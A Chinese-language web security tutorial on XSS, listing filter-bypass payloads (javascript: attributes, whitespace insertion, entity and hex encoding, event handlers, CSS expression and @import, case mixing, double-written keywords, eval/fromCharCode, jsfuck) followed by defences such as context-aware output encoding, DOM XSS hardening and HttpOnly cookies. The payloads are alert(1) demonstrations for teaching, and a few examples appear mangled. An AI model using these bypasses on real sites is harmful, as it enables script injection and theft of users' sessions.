您当前的位置:首页 > 计算机 > 安全防护

XSS 的绕过和防御

时间:03-30来源:作者:点击数:

0x00:简介

最近在整理 TOP10 的审计点,上篇文章介绍了 A3XSS 问题,这里的 TOP10 是以 2013 的来记录的,对于 XSS 因为篇幅原因上篇只记录了一些示例代码,这篇顺便补充一下 XSS 的绕过和防御。

0x01:绕过

XSS 绕过方法很多,涉及到的面也非常广泛,我们这里只记录常见的一些绕过方式。

1,最基本的就是利用 <> 来写入 html 和 js 代码,例如以下示例。

<script>alert(1);</script>

所以对于防 xss 首先就需要过滤和转义 <、>、<script>等字符。

2,利用 html 标签属性值来执行 xss,很多 html 标签的属性都支持 javascript:[code] 伪协议的形式,其声明了用 js 来执行 code 代码,例如以下示例。

<table background="javascript:alert(1)"></table>
<img src="javascript:alert(1);">

当然并不是所有的浏览器都会这样执行,有些浏览器并不支持 js 伪协议,所以这种方式有其局限性,我们示例就使用这种伪协议了,当然 script、on 等关键字都同样适用,同时我们也可以看见,防御 xss 一定要过滤 js 的关键字。

3,空格回车 Tab 方式,如果程序把敏感字符和关键字进行了过滤,那么我们可以利用空格、回车、Tab 等来尝试绕过,例如以下示例。

<img src="javas    cript:alert(1)">
<img src="javas__    cript:__    alert(1)">

以上第一个在 javascript 中插入了 tab 键,第二个使用了回车,除了 tab 我们也可以使用回车空格等,在 script 和各种 on 事件中也可以使用,js 解析时会以分号来判断一个语句是否结束,所以添加空格、回车、tab 等并不会影响语句的正常执行。

4,对标签属性值进行转码,在 html 的属性中是支持 ASCII 码的,因为计算机只能接受数字信息,所以 ASCII 码会将字符作为数字来表示,例如以下示例。

<img src="javascript:alert(1);">
<img src="javascrip&#116&#58alert(1);">

t 的 ascii 码为 116,:的 ascii 码为 58,以上是转码后的效果,同理,以下代码同样会生效。

<img src="&#34;&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;&#59;&#34;&#47;">
<img src="&#000034;&#0000106;&#000097;&#0000118;&#000097;&#0000115;&#000099;&#0000114;&#0000105;&#0000112;&#0000116;&#000058;&#000097;&#0000108;&#0000101;&#0000114;&#0000116;&#000040;&#000049;&#000041;&#000059;&#000034;&#000047;">

上面第二个例子每个字符加了四个 0,ascii 码中加入随意个 0 其效果是不变的,同时也可以结合换行、回车、Tab 等,tab 为 ,换行为 ,回车为 ,它们可以插入到代码的任意地方。所以我们除了过滤关键字外,最好也过滤 &、# 等特殊字符。

5,事件跨站,当属性值不能进行利用时,可以利用 js 的一些事件进行跨站,例如 click、mouseover、load 等,例如以下示例。

<input type="button" value="button" onclick="alert(1)"/>
<img src="0" onerror="alert(1)">

6,利用 css 进行跨站,xss 的另一个载体是 css,优点在于灵活隐蔽,缺点在于可能浏览器不会通用。示例如下。

<div style="background-image:url(javascript:alert(1))">
<style>body{background-image:url("javascript:alert(1)");}</style>

在 ie5 以后 css 支持使用 expression,expression 会执行放入的 js 代码,例如以下示例。

<div style="width:expression(alert(1));">
<style>body{background-image:expression(alert(1));}</style>

除了嵌入到 html 代码中外,也可以通过其他服务器进行 css 文件的引入,例如 link 标签的使用,假设 xxx.com/xxx.css 文件内容如下。

p{background-image:expression(alert(1));}

这时在目标程序中使用的 payload 则为:

<link rel="stylesheet" href="xxx.com/xxx.css">

除上面的 link 可以引入外部的 css 文件外,还有一种方式就是 @import,其使用示例如下。

<style type='text/css'>@import url(http://www.xxx.com/xxx.css);</style>

@import 除了可以引入 css 文件外,还有一个特性就是可以直接执行 js 代码,其使用示例如下。

<style>@import 'javascript:alert(1)';</style>

通过上面记录可知,我们除了过滤 script 关键字、&、#、<、> 等特殊字符外,也应该把 expression、javascript、import 等关键字也进行过滤。

7,扰乱过滤规则,扰乱规则也有很多种,常见的就是大小写转换,示例如下。

<IMG SRC="javaScripT:alErt(1);"

不使用双引号,使用单引号,示例如下。

<img src="javascript:alert(1);">

不使用引号的,示例如下。

<img src="javascript:alert(1);">

空格使用 / 来代替,示例如下。

<img src="javascript:alert(1);">

当使用 expression 执行跨站代码时,可以使用全角字符来绕过。

<div style="{left:expression(alert(1))}">

在样式表中,/**/ 会被浏览器忽略,所以可以用 /**/ 注释字符来进行绕过,示例如下。

<div style="wid/****/th:expre/*xss*/ssion(alert(1));">

对于跨站,基本很多系统都会使用黑名单的方式,白名单在这里可能不太使用,那么也可以通过双写来绕过,示例如下。

<scrScrIPtipt>alAlerTert(1)</sscriptcript>

在样式表中,和 0 也会被浏览器忽略,示例如下。

@\im\port '\0java\0script:alert(1)';
@\0000i\0000m\0000p\0000o\0000r\0000t 'url';

8,利用字符编码,字符编码我们可以在线 xssor.io 辅助一下,下面使用一下十六进制和十进制的编码,在 html 中,很多属性都支持 &#ascii 编码的方式,xssor 见下图。

请输入图片描述

示例如下。

<img src="javascript:alert(1);">    //原型
<img src="&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;&#x003b;">    //十六进制
<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#49&#41&#59">    //十进制

使用选项截图分别如下。

请输入图片描述
请输入图片描述

&# 后的 0 可以随意输入,xssor 最后提供了 replace 替换功能,可以使用此功能进行 0 的添加删除和修改。

js 中有一个 eval 函数,它可以执行 js 代码,并支持十六进制和十进制,我们可以使用 / 连接十六进制字符,十进制需要 string.fromCharCode 函数结合,string.fromCharCode 作用是通过 ascii 码来获取字符内容,示例如下。

<script>eval("\61\6c\65\72\74\28\31\29");</script>
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41))">

9,jsfuck 绕过,jsfuck 是一种 js 编程风格,它会把 js 代码用六个字符来表示,[]()+! 其网站是 jsfuck.com,如果程序过滤了各种关键字,而没有过滤这六种符号的话,则可以进行尝试,只不过生成的字符会比较多,可能超出字符范围限制,利用时也可以外部引入等,示例图如下。

请输入图片描述

把编码后的代码放到网页会被直接解析执行,效果图如下。

请输入图片描述

以上就是常用的 xss 绕过方式,xss 绕过根据浏览器的不同环境不同可能会存在差异,方式也有很多,我们这里把一些常见的记录了下。

0x02:防御

对于防御一般有两种方式,即 input filtering 和 output filtering 两种,即输入过滤和输出过滤。对于输入过滤,可以进行输入验证和数据消毒。输入验证即用来检测用户的输入是否合法,例如前端的手机号规则验证,邮箱验证等,是否超过最大限制,在前端 js 验证后,后端也应该进行验证,避免前端被绕过的可能。数据消毒即过滤特殊字符和关键字,例如 <>&#'" 等,关键字 script、javascript、expression、on 事件等。对于输出过滤我们可以进行输出编码 htmlencode,例如 < 的实体名字 & lt;实体编号 &#60;对这种类似的符号做编码和转义可以有效的防止跨站攻击。现在基本常见的后端程序也都有提供类似的编码,例如 asp 的 server.htmlencode,php 的 htmlspecialchars 等。

同时在进行输出编码时,需要根据上下文的环境进行不同的编码,例如内容是输出到网页内容中,则需要用 html 实体代替,例如:

  • < 转换为 & lt;
  • > 转换为 & gt;
  • & 转换为 & amp;
  • " 转换为 & quot;
  • '&#39;

如果内容是输出到标签中,例如一些标签的属性值,这个和输入到网页中的处理一样,对敏感字符进行转义实体代替。

  • < 转换为 & lt;
  • > 转换为 & gt;
  • & 转换为 & amp;
  • " 转换为 & quot;
  • '&#39;

如果内容是输出到 script 标签中的,则需要对敏感字符进行编码过滤,示例如下。

  • '单引号转为 /'
  • "双引号转为 /"
  • 反斜杠转为 \\
  • / 正斜杠转为 \/
  • /n 换行转为 / n
  • /r 回车转为 / r

总体来说就是未受信任的数据嵌入到页面前都应该按照上下文进行对应的编码。

而对于 DOMXSS 来说,并没有对后端产生交互,所以后端过滤规则对 DOMXSS 不会生效,防御 DOMXSS 需要注意的一个是避免客户端文档重写,重定向或其他敏感操作,同时避免使用客户端数据,这些操作尽量在服务端使用动态页面来实现。再一个是分析和强化客户端的 js 代码,尤其是受到用户影响的 dom 对象,例如 document.url,document.location,document.referrer 等。

以上是进行输入和输出编码的处理方式,除此之外建议对用户登录的 cookie 做 httponly 属性,在跨站的攻击中,基本都会使用 document.cookie 来盗取用户的 cookie 信息,所以建议设置 httponly。

最后建议给程序使用 waf 或者云服务,用来防止 web 常见的一些漏洞。对于防止跨站的一些过滤规则可以参考 jsxss.com,可以参考下 jsxss.com 使用时需要引入的那个 js 文件,写的比较全面也比较详细。

方便获取更多学习、工作、生活信息请关注本站微信公众号城东书院 微信服务号城东书院 微信订阅号
推荐内容
相关内容
栏目更新
栏目热门